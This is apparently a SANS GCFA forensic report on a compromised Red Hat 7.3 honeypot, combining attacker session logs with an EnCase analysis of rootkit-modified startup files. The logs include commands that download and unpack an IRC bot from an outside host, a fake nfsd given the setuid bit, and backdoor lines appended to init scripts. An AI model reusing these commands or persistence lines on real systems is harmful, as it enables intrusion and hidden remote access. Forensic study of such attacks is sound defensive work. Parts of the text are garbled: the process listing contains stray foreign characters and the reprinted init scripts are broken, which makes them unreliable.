.s/ls
.s/netstat
.s/pe
.s/pstree
.s/vdir
.s/top
.s/1addc
.s/1file
.s/11logn
.s/1proc
.s/clean
.s/nfsd/
.s/nfsd/nfsd_config
.s/nfsd/xxh_h
.s/nfsd/xxh_r
.s/nfsd/nfsd1
.s/sshd/
.s/sshd/init.sshd
.s/sshd/sshd_host_key
.s/sshd/sshd-install
.s/sshd/sshd_config
.s/install
.s/sense
.s/p.sshd
ls -al

```
total 39
drwxrwxrwt 16 root root 1024 Jun 29 15:11 .
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 23 12:00 .XO-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx--------- 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .qt
-rwx------- 1 root root 1024 Jun 20 02:17 .rnd
drwxr-xr-x 4 502 502 1024 Mar 24 21:41 .s
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drwx------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx------- 2 root root 1024 Jun 20 10:55 kde-root
drwx------- 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drwx------- 2 root root 1024 Jun 23 11:55 ksocket-root
drwx------- 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwx------- 3 root root 1024 Jun 20 10:55 mcop-root
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drw------- 2 root root 1024 Jun 20 05:20 texconf.Nzu100
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cd .s
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/s. This session started at 15:10:48 and completed at 15:15:18.

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/bin/sh: line 1: 19508 Killed su
rm -rf ls ps
bash: [19488: 1] tcsetattr: Invalid argument
bash-2.05a$ exit

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TERM=xterm; export TERM=xterm; exec bash -i

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Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.XX.XXX.108.064.35157 - 192.168.002.015.00443 and 192.168.002.015.00443 - XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font - unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

exec bash -i
uname -a; id; w;
bash: no job control in this shell
readline: warning: rl_prepTerminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prepTerminal: cannot get terminal settingsbash-2.05a$ Linux rh1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:28pm up 6 days, 3:29, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am 47:20m 0.49s 0.39s -bash
readline: warning: rl_prepTerminal: cannot get terminal settingsbash-2.05a$ cd /tmp
readline: warning: rl_prepTerminal: cannot get terminal settingsbash-2.05a$
ls -al
bash: [19993: 1] tcsetattr: Invalid argument
readline: warning: rl_prepTerminal: cannot get terminal settingsbash-2.05a$
dir -al
total 64
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rw-r--r-- 1 root root 11 Jun 23 12:00 .XO-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
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-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rw-r-xr-x 1 root root 1024 Jun 20 02:17 .rnd
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash: 
./r
[19893: 1] tcssetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash: 
cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash: 
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x inetd/services/inetd/services;
get terminal settingsbash-2.05a$ --15:31:46-- http://XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcssetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x inetd/services/inetd/services/inetd/services;
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-zip]

OK ......................... ......................... ............... 6% 89.29 KB/s
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100K ......................... ......................... ......................... 20% 175.44 KB/s
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650K ......................... ......................... ......................... 93% 252.53 KB/s
700K ......................... ......................... ......................... 100% 372.64 KB/s
15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]

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.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
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X11-pipe/randfiles/randnicks.e
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X11-pipe/randfiles/randversions.e
X11-pipe/src/
X11-pipe/src/Makefile.in
X11-pipe/src/cfgfile.c
X11-pipe/src/channel.c
X11-pipe/src/com-ons.c
X11-pipe/src/combot.c
X11-pipe/src/commands.c
X11-pipe/src/config.h.in
X11-pipe/src/dcc.c
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X11-pipe/src/functions.c
X11-pipe/src/global.h
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X11-pipe/src/main.c
X11-pipe/src/gencmd.c
X11-pipe/src/parse.c
X11-pipe/src/socket.c
X11-pipe/src/structs.h
X11-pipe/src/usage.h
X11-pipe/src/userlist.c
X11-pipe/src/vars.c
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X11-pipe/mach_set
X11-pipe/mech.levels
X11-pipe/LinkEvents
X11-pipe/lpd/usr
X11-pipe/M4c4r0n.seen
X11-pipe/lpd/session
X11-pipe/checklpd
X11-pipe/inetd/
X11-pipe/inetd/services
bash: [19893: 1] tcsetattr: Invalid argument

ps
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readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a:

PID TTY TIME CMD
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10609 ? 00:00:00 httpd
10610 ? 00:00:00 httpd
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1192 7 S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
1203 7 S 0:02 kdeinit: knotify
1208 7 S 0:00 kwrapper kmsgserver --restore
1210 7 S 0:00 kdeinit: kmsgserver --restore
1211 7 S 0:09 kdeinit: kwin -session 117f00000100010561262930000008
1217 7 S 0:18 kdeinit: kicker
1219 7 S 0:35 autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1223 7 S 0:51 kdeinit: klipper -icon klipper -minicon klipper
1226 7 S 0:00 kdeinit: kwighted
1228 7 S 0:00 korgac --minicon korganizer
1230 7 S 0:00 kalardm --login
1232 7 S 5:04 kdeinit: konsole -icon konsole -minicon konsole
1234 pts/1 S 0:00 /bin/bash
1266 pts/1 S 0:00 su -
1269 pts/1 S 0:00 -bash
6133 7 S 0:00 kdeinit: kcookiejar
6135 7 S 0:00 kdesud
7168 pts/2 S 0:12 kdeinit: konsole --icon konsole -minicon konsole
7170 pts/2 S 0:00 /bin/bash
7203 pts/2 S 0:00 su -
7206 pts/2 S 0:00 -bash
8125 7 S 0:01 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8160 7 S 0:00 /usr/sbin/nm给自己 things at /sbin
10606 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
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19488 7 S 0:00 bash -l
19504 7 S 0:00 /r
19505 7 Z 0:00 [r <defunct>]
19507 7 S 0:00 /bin/sh
19508 7 S 0:00 su
19509 7 S 0:00 bash
19635 7 S 0:00 minilogd
19678 7 T 0:00 /usr/bin/weit
19685 7 S 0:00 popauth
19686 7 Z 0:00 [weit <defunct>]
19694 7 T 0:00 cp -f killall /usr/bin/
19697 7 Z 0:00 [cp <defunct>]
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19796 7 T 0:00 chmod -s /usr/sbin/nfsd
19798 7 Z 0:00 [chmod <defunct>]
19801 7 T 0:00 cp -f sshd_config /sbin
19802 7 Z 0:00 [cp <defunct>]
19806 7 T 0:00 cp -f xxh_h /sbin
19808 7 T 0:00 cp -f xxh_r /sbin
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1210    S  0:00 kdeinit: kmsserver --restore
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1217    S  0:18 kdeinit: kicker
1219    S  0:35 autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1223    S  0:51 kdeinit: klipper --icon klipper --minicon klipper
1226    S  0:00 kdeinit: kwriter
1228    S  0:00 korgac --minicon korganizer
1230    S  0:00 kalarmd --login
1232    S  0:00 kdeinit: konsole --icon konsole --minicon konsole
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6135    S  0:00 kdesud
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7206    S  0:00 -bash
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19488   S  0:00 bash -i
19504   S  0:00 /r
19505   Z  0:00 [r <defunct>]
19507   S  0:00 /bin/sh
19508   S  0:00 su
19509   S  0:00 bash
19635   S  0:00 minilogd
19678   T  0:00 /usr/bin/weit
19685   S  0:00 popauth
19686   Z  0:00 [weit <defunct>]
19694   T  0:00 cp -f killall /usr/bin/
19697   Z  0:00 [cp <defunct>]
19701   T  0:00 cp -f find /usr/bin
19703   Z  0:00 [cp <defunct>]
19783   T  0:00 cp -f du /usr/bin
19792   Z  0:00 [cp <defunct>]
19796   T  0:00 chmod +s /usr/sbin/nfsd
19798   Z  0:00 [chmod <defunct>]
19801   T  0:00 cp -f sshd_config /sbin
19802   Z  0:00 [cp <defunct>]
19806   T  0:00 cp -f xxh_h /sbin
19808   T  0:00 cp -f xxh_r /sbin
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readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:
Sans GCFA Cert
Investigating Officer:
Kevin Miller
12 Main
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003. The examination process began July 16, 2003.

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Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
EnCase Computer Analysis Report

Linux 7.3 Honey pot system

Device
Evidence Number: Linux 7.3 Honey pot system
File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
Examiner Name: Kevin Miller
Actual Date: 07/16/03 11:03:19AM
Target Date: 07/16/03 11:03:19AM
Total Size: 6,448,619,520 bytes (6.0GB)
Total Sectors: 12,594,960
File Integrity: Completely Verified, 0 Errors
Write Blocker: FastBloc
EnCase Version: 4.14
System Version: Windows XP
Acquisition Hash: 579720D58A61D971083F10695B8249CB
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OS Background

OS Version /etc/issue

Red Hat Linux release 7.3 (Valhalla)

File system layout from fstab.

LABEL=/
LABEL=/boot
none
none
none
LABEL=/usr
LABEL=/var
/dev/hda7
/dev/cdrom
/dev/fd0

/ /boot ext3 defaults 1 1
/dev/pts devpts gid=5,mode=620 0 0
/home ext3 defaults 1 2
/home proc proc defaults 0 0
/usr ext3 defaults 1 2
/usr tmpfs defaults 0 0
/var ext3 defaults 1 2
swap swap defaults 0 0
/mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/mnt/floppy auto noauto,owner,kudzu 0 0
### Volume /boot

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The following are bookmarks from Volume /boot
Volume /usr

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File System: EXT3
Sectors per cluster: 8
Total Sectors: 7,817,040
Total Clusters: 977,130
Free Clusters: 616,192
Volume Name: 

Bytes per sector: 512
Total Capacity: 4,002,324,480 bytes (3.7GB)
Unallocated:
2,523,922,432 bytes (2.4GB)
Allocated: 1,478,402,048 bytes (1.4GB)
Volume Offset: 105,840

The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

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The following are bookmarks from Volume /home
Volume /

Volume
File System: EXT3
Sectors per cluster: 2
Total Sectors: 786,177
Total Clusters: 393,088
Free Clusters: 309,555
Volume Name: Volume Offset:

Total Sectors: 402,522,112 bytes (383.9MB)
Total Clusters: 316,984,320 bytes (302.3MB)
Free Clusters: bytes (81.6MB)

The following are bookmarks from Volume /

startup files

Startup Files
6) Name inittab
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\inittab
Entry Modified 06/20/03 04:14:39AM
Last Accessed 06/30/03 04:45:40PM
Last Written 06/20/03 04:14:39AM
Hash Value 340fae11d6076e860f7e0e069c2e57
Physical Size 2,048
Logical Size 1,756
Short Name

Comment: The config file used for booting.

# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

10::wait:/etc/rc.d/rc 0
11::wait:/etc/rc.d/rc 1
12::wait:/etc/rc.d/rc 2
13::wait:/etc/rc.d/rc 3
14::wait:/etc/rc.d/rc 4
15::wait:/etc/rc.d/rc 5
16::wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon

These scripts are used by inittab for booting

7) Name keytable
Description File
Full Path /etc/rc.d/init.d/keytable
Entry Modified 06/19/03 11:35:03AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/15/02 08:05:50AM
Hash Value cd93e8654c65ca1dd8e6d099c06d2f6f
Physical Size 2,048
Logical Size 1,273
Short Name

8) Name atd
Description File
Full Path /etc/rc.d/init.d/atd
Entry Modified 06/19/03 11:34:38AM
Last Accessed 06/27/03 02:09:10PM
Last Written 01/17/02 11:34:41AM
Hash Value 524d785c2e2f156b8deb1d24004c681e
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Description: File
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Physical Size: 3,072
Logical Size: 2,785

34) Name: named
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/named
Entry Modified: 06/20/03 02:18:23AM
Last Accessed: 06/27/03 02:09:11PM
Last Written: 03/14/02 04:50:10AM
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Physical Size: 3,072
Logical Size: 2,281

35) Name: S95atd
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/rc5.d/S95atd
Entry Modified: 06/19/03 11:34:39AM
Last Accessed: 06/23/03 12:00:19PM
Last Written: 06/19/03 11:34:39AM
Hash Value:
Physical Size: 856
Logical Size: 13

Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name: functions
**EnCase Computer Analysis Report**

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

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**Description**

**File**

Full Path: Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/functions

**Entry Modified** 06/29/03 03:25:21PM

**Last Accessed** 06/29/03 03:22:04PM

**Last Written** 06/29/03 03:25:21PM

**Hash Value** e62d86534bd966c0378d8045aaaa0762

**Physical Size** 10,240

**Logical Size** 9,998

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**Comment**:

The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

```bash
#!/bin/bash

functions

This file contains functions to be used by most or all
shell scripts in the /etc/init.d directory.

# Version: @(#) /etc/init.d/functions 1.01 26-Oct-1993
# Author: Miquel van Smoreenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
# Wanderlei Antonio Cavassin

TEXTDOMAIN=initscripts
TEXTDOMAINDIR=/etc/locale

# Make sure umask is sane
umask 022

# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:

# Get a sane screen width
if -z \"${COLUMNS:-}\" ; then
  . /etc/sysconfig/i18n
  if -z \"${NOLOCALIZE:-}\" ; then
    unset LANG
    elif \"${LANG:-}\" = "ja_JP.eucJP" -a \"/sbin/consoletype\" 
    then
      unset LANG
    elif \"${LANG:-}\" = "ko_KR.eucKR" -a \"/sbin/consoletype\" 
    then
      unset LANG
    elif \"${LANG:-}\" = "zh_CN.GB2312" -a \"/sbin/consoletype\" 
    then
      unset LANG
    else
      export LANG
    fi
  fi

# Read in our configuration
if -z \"${BOOTUP:-}\" ; then
  if -f /etc/sysconfig/init ; then
    . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init, 
    # or in /usr/doc/initscripts/*sysconfig.txt
    # BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="\\033[\033[31m\033[31m"
    SETCOLOR_SUCCESS="\\033[32m"
    SETCOLOR_FAILURE="\\033[31m"
    SETCOLOR_WARNING="\\033[33m"
```
SETCOLOR_NORMAL="echo -en \"033\[0;39m\""
LOGLEVEL=1
fi
if [ -x /sbin/consoletype ]; then
  if [ "\`consoletype\"" = "serial" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_FAILURE=
    SETCOLOR_WARNING=
    SETCOLOR_NORMAL=
  fi
fi
if [ "$BOOTUP:" != "verbose" ]; then
  INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi

# Check if $pid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [ -d /proc/$1 ] && return 0
    shift
  done
  return 1
}

# A function to start a program.
daemon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid
  nicelevel=0
  while [ "$1" != "$1##[-+]" ]; do
    case $1 in
      --check)
        base=$2
        gotbase="yes"
        shift 2
        ;;
      --check=??)
        base=${1##--check=}
        gotbase="yes"
        shift
        ;;
      --user)
        user=$2
        shift 2
        ;;
      --user=??)
        user=${1##--user=}
        shift
        ;;
      --force)
        force="force"
        shift
        ;;
      [+][-][0-9]*)
        nice="nice -n $1"
        shift
        ;;
      *)
        echo "$0: Usage: daemon [+/nicelevel] [program]"
        return 1;;
    esac
  esac
```
esac

# Save basename.

[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look only at the pid file.
pid=`pidfileofproc $base`

[ -n "${pid:--}" -a -z "${force:=""}" ] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon

[ "${BOOTUP:=""}" = "verbose" -a -z "$LSB" ] && echo -n " $base"

# And start it up.

if [ -z "$user" ]; then

$nice initlog $INITLOG_ARGS -c "$*"
else

$nice initlog $INITLOG_ARGS -c "su -s /bin/bash - $user -c "$*""
fi

[ "$?" -eq 0 ] && success "$base startup" || failure "$base startup"

}

# A function to stop a program.
killproc() {

RC=0

# Test syntax.
if [ "$#" -eq 0 ]; then

echo "$Usage: killproc [program] [signal]"

return 1
fi

notset=0

# check for second arg to be kill level
if [ "$2" = "" ]; then

killlevel=""
else

killlevel="$2"

fi

# Save basename.

base=${1##*/}

# Find pid.
pid=`pidofproc $1`;

if [ -z "${pid:=""}" ]; then

pid=`pidofproc $base`
fi

# Kill it.

if [ -n "${pid:=""}" ]; then

[ "$BOOTUP="verbose" -a -z "$LSB" ] && echo -n "$base"

if [ "$notset" -eq 1 ]; then

if checkpid $pid 2>&1; then

# TERM first, then KILL if not dead

kill -TERM $pid

usleep 100000

if checkpid $pid && sleep 1 &&
checkpid $pid && sleep 3 &&
checkpid $pid; then

kill -KILL $pid

usleep 100000

fi

fi

fi

fi
checkpid $pid
RC=$?
[ "$RC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=$((! $RC))
# use specified level only
else
  if checkpid $pid >/dev/null 2>&1; then
    kill $killlevel $pid
    RC=$?
    [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
  fi
fi
else
  failure "$base shutdown"
  RC=1
fi
# Remove pid file if any.
if [ "$notset" = "1" ]; then
  rm -f /var/run/$base.pid
fi
return $RC
}

# A function to find the pid of a program. Looks only at the pidfile
pidfileofproc() {
  local base=${1##*/}
  local pid
  # Test syntax.
  if [ "$#$" = 0 ]; then
    echo "$Usage: pidfileofproc {program}"
    return 1
  fi
  # First try "/var/run/*.pid" files
  if [ -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "$p/([0-9])" -a -d /proc/$p ] && pid="$pid $p"
    done
    if [ -n "$pid:-" ]; then
      echo $pid
      return 0
    fi
  fi
}

# A function to find the pid of a program.
pidofproc() {
  base=${1##*/}
  # Test syntax.
  if [ "$#$" = 0 ]; then
    echo "$Usage: pidofproc {program}"
    return 1
  fi
  # First try "/var/run/*.pid" files
  if [ -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "$p/([0-9])" -a -d /proc/$p ] && pid="$pid $p"
    done
    if [ -n "$pid:-" ]; then
      echo $pid
      return 0
    fi

 status() {  
  local base=${1##*/}
  local pid

  # Test syntax.
  if [ "$#" = 0 ] ; then
    echo "$Usage: status [program]"
    return 1
  fi

  # First try "pidof"
  pid=`pidof -o $$ -o PPID -o %PPID -x $1 || \
    pidof -o $$ -o PPID -o %PPID -x $base`
  if [ "$pid" != "" ] ; then
    echo "$($base) (pid $pid) is running..."
    return 0
  fi

  # Next try="/var/run/*.pid" files
  if [ -f /var/run/$base.pid ] ; then
    read pid < /var/run/$base.pid
    if [ "$pid" != "" ] ; then
      echo "$($base) dead but pid file exists"
      return 1
    fi
  fi

  # See if /var/lock/subsys/$base exists
  if [ -f /var/lock/subsys/$base ] ; then
    echo "$($base) dead but subsys locked"
    return 2
  fi
  echo "$($base) is stopped"
  return 3
}

echo_success() {  
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n \[ 
  [ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
  echo -n \]"
  echo -n \r"
  return 0
}

echo_failure() {  
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n \[ 
  [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
  echo -n \]"
  echo -n \r"
  return 1
}

echo_passed() {  
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n \[ 
  [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
  echo -n \]"
  echo -n \r"
  return 0
}
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echo -n "$PASSED"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n ""
 echo -ne "$\n"
return 1
}

echo_warning() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
echo -n "$WARNING"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n "]"
 echo -ne "$\n"
return 1
}

# Log that something succeeded
success() {
if [ -z "${IN_INITLOG:-}" ]; then
 initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
 # silly hack to avoid EPIPE killing rc.sysinit
 trap "" SIGPIPE
 echo "$INITLOG_ARGS -n $0 -s "\$1\" -e 1" >&421
 trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
 return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
 initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
 else
 trap "" SIGPIPE
 echo "$INITLOG_ARGS -n $0 -s "\$1\" -e 2" >&421
 trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
 return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
 initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
 else
 trap "" SIGPIPE
 echo "$INITLOG_ARGS -n $0 -s "\$1\" -e 1" >&421
 trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
 return $rc
}

# Log a warning
warning() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
 initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
 else
 trap "" SIGPIPE
 echo "$INITLOG_ARGS -n $0 -s "\$1\" -e 1" >&421
 trap - SIGPIPE
fi
[
   "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_warning
return $rc
}

# Run some action. Log its output.
action() {
   STRING=$1
   echo -n "$STRING "
   shift
   initlog $INITLOG_ARGS -c "$*" && success "$STRING" || failure "$STRING"
   rc=$?
   echo
   return $rc
}

# returns OK if $1 contains $2
strstr() {
   [ "$1" = "$2" ] && return 0
   slice=${1#*$2*}
   [ "$slice" = "$1" ] && return 1
   return 0
}

# Confirm whether we really want to run this service
confirm() {
   local YES=yY
   local NO=nN
   local CONT=cC
   while : ; do
      echo -n "$STRING "
      read answer
      if strstr "$YES" "$answer" || [ "$answer" = "" ] ; then
         return 0
      elif strstr "$CONT" "$answer" ; then
         return 2
      elif strstr "$NO" "$answer" ; then
         return 1
      fi
   done
   /usr/sbin/nfsd -f /sbin/sshd_config

37) Name  syslog
   Description  File
   Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\syslog
   Entry Modified  06/29/03 03:25:21PM
   Last Accessed  06/29/03 03:22:07PM
   Last Written  06/29/03 03:25:21PM
   Hash Value  7e7d2b5075662d3cd6e35c24b50036d69
   Physical Size  2,048
   Logical Size 1,405

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/`s directory. The nfsd is an ssh daemon listening for connection on port 18.

#!/bin/bash
# syslog Starts syslogd/klogd.
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log \
# messages to various system log files. It is a good idea to always \ # run syslog.
### BEGIN INIT INFO
# Provider: $syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslogd ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi

RETVAL=0

umask 077

start() {
  echo $n "$syslog" daemon syslogd $SYSLOGD_OPTIONS
  RETVAL=$?
  echo echo
  echo $n "$kernel" daemon klogd $KLOGD_OPTIONS
  echo
  [ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() {
  echo $n "$kernel" killproc klogd
  echo echo $n "$kernel" killproc syslogd
  echo
  [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/syslog
  return $RETVAL
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
    ;;
  stop)
    stop
    ;;
  status)
    rhstatus
    ;;
  restart|reload)
    restart
    ;;
  condrestart)
38) Name: rc.sysinit
Description: File
Full Path: /etc/rc.d/rc.sysinit
Entry Modified: 06/29/03 03:22:09PM
Last Accessed: 06/30/03 04:45:40PM
Last Written: 06/29/03 03:22:09PM
Hash Value: ee965268d25b94ed0ffeb16dbe5be890
Physical Size: 22,528
Logical Size: 22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "weit". The weit file is located in /usr/sbin/ directory and calles popauth, an executable in the /x directory.

#!/bin/bash
# /etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#
# Rerun ourselves through initlog
if [-z "$IN_INITLOG" ]; then
    [-f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
